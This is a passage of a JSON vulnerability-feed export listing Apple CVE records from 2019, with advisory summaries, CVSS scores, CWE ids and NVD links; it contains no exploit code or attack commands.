"PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8787"], "modified": "2019-12-22T15:59:00", "id": "PRION:CVE-2019-8787", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8787", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-11-22T02:21:34", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8808"], "modified": "2021-12-01T17:04:00", "id": "PRION:CVE-2019-8808", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8808", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T02:21:35", "description": "A logic issue was addressed with improved state management. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted web content may lead to universal cross site scripting.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Cross site scripting", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8813"], "modified": "2022-10-14T02:02:00", "id": "PRION:CVE-2019-8813", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8813", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-11-22T02:21:32", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8782"], "modified": "2021-12-01T16:59:00", "id": "PRION:CVE-2019-8782", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8782", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T02:21:37", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8821"], "modified": "2021-12-01T17:41:00", "id": "PRION:CVE-2019-8821", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8821", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T02:21:36", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8820"], "modified": "2021-12-01T17:34:00", "id": "PRION:CVE-2019-8820", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8820", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-22T02:21:36", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "prion", "title": "Memory corruption", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8822"], "modified": "2021-12-01T17:44:00", "id": "PRION:CVE-2019-8822", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2019-8822", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2023-12-02T16:17:46", "description": "A memory corruption vulnerability was addressed with improved locking. This issue is fixed in macOS Catalina 10.15.1, Security Update 2019-001, and Security Update 2019-006, watchOS 6.1, tvOS 13.2, iOS 13.2 and iPadOS 13.2. An application may be able to execute arbitrary code with kernel privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-10-27T20:15:00", "type": "cve", "title": "CVE-2019-8829", "cwe": ["CWE-667", "CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8829"], "modified": "2021-07-21T11:39:00", "cpe": [], "id": "CVE-2019-8829", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8829", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}, {"lastseen": "2023-12-02T16:10:02", "description": "An issue was discovered in certain Apple products. iOS before 11.2 is affected. The issue involves the \"Mail Message Framework\" component. It allows remote attackers to spoof the address bar via a crafted web site.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 4.3, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 1.4}, "published": "2017-12-27T17:08:00", "type": "cve", "title": "CVE-2017-7152", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7152"], "modified": "2019-10-30T03:15:00", "cpe": [], "id": "CVE-2017-7152", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-7152", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:44", "description": "The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin. This issue is fixed in Safari 13.0.3, iTunes 12.10.2 for Windows, iCloud for Windows 10.9.2, tvOS 13.2, iOS 13.2 and iPadOS 13.2, iCloud for Windows 7.15. Visiting a maliciously crafted website may reveal the sites a user has visited.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 4.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 1.4}, "published": "2020-10-27T20:15:00", "type": "cve", "title": "CVE-2019-8827", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8827"], "modified": "2020-10-29T20:57:00", "cpe": [], "id": "CVE-2019-8827", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8827", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:39", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2. An application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8795", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8795"], "modified": "2021-07-21T11:39:00", "cpe": [], "id": "CVE-2019-8795", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8795", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:34", "description": "An issue existed in the parsing of URLs. This issue was addressed with improved input validation. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1. Improper URL processing may lead to data exfiltration.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8788", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8788"], "modified": "2019-12-26T17:22:00", "cpe": [], "id": "CVE-2019-8788", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8788", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:39", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. An application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8798", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8798"], "modified": "2021-07-21T11:39:00", "cpe": [], "id": "CVE-2019-8798", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8798", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:41", "description": "An authentication issue was addressed with improved state management. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. A local attacker may be able to login to the account of a previously logged in user without valid credentials..", "cvss3": {"exploitabilityScore": 2.5, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.4, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8803", "cwe": ["CWE-613"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8803"], "modified": "2019-12-26T17:05:00", "cpe": [], "id": "CVE-2019-8803", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8803", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:36", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. An application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8797", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8797"], "modified": "2021-07-21T11:39:00", "cpe": [], "id": "CVE-2019-8797", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8797", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:37", "description": "A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1. Parsing a maliciously crafted iBooks file may lead to disclosure of user information.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8789", "cwe": ["CWE-59"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8789"], "modified": "2019-12-23T14:44:00", "cpe": [], "id": "CVE-2019-8789", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8789", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:39", "description": "A consistency issue existed in deciding when to show the screen recording indicator. The issue was resolved with improved state management. This issue is fixed in iOS 13.2 and iPadOS 13.2. A local user may be able to record the screen without a visible screen recording indicator.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 5.5, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8793", "cwe": ["NVD-CWE-noinfo"], "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8793"], "modified": "2021-07-21T11:39:00", "cpe": [], "id": "CVE-2019-8793", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8793", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:33", "description": "A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, macOS Catalina 10.15.1, tvOS 13.2, watchOS 6.1. An application may be able to execute arbitrary code with kernel privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8786", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8786"], "modified": "2021-07-21T11:39:00", "cpe": [], "id": "CVE-2019-8786", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8786", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}, {"lastseen": "2023-12-02T16:17:41", "description": "An inconsistency in Wi-Fi network configuration settings was addressed. This issue is fixed in iOS 13.2 and iPadOS 13.2. An attacker in physical proximity may be able to force a user onto a malicious Wi-Fi network during device setup.", "cvss3": {"exploitabilityScore": 2.1, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": 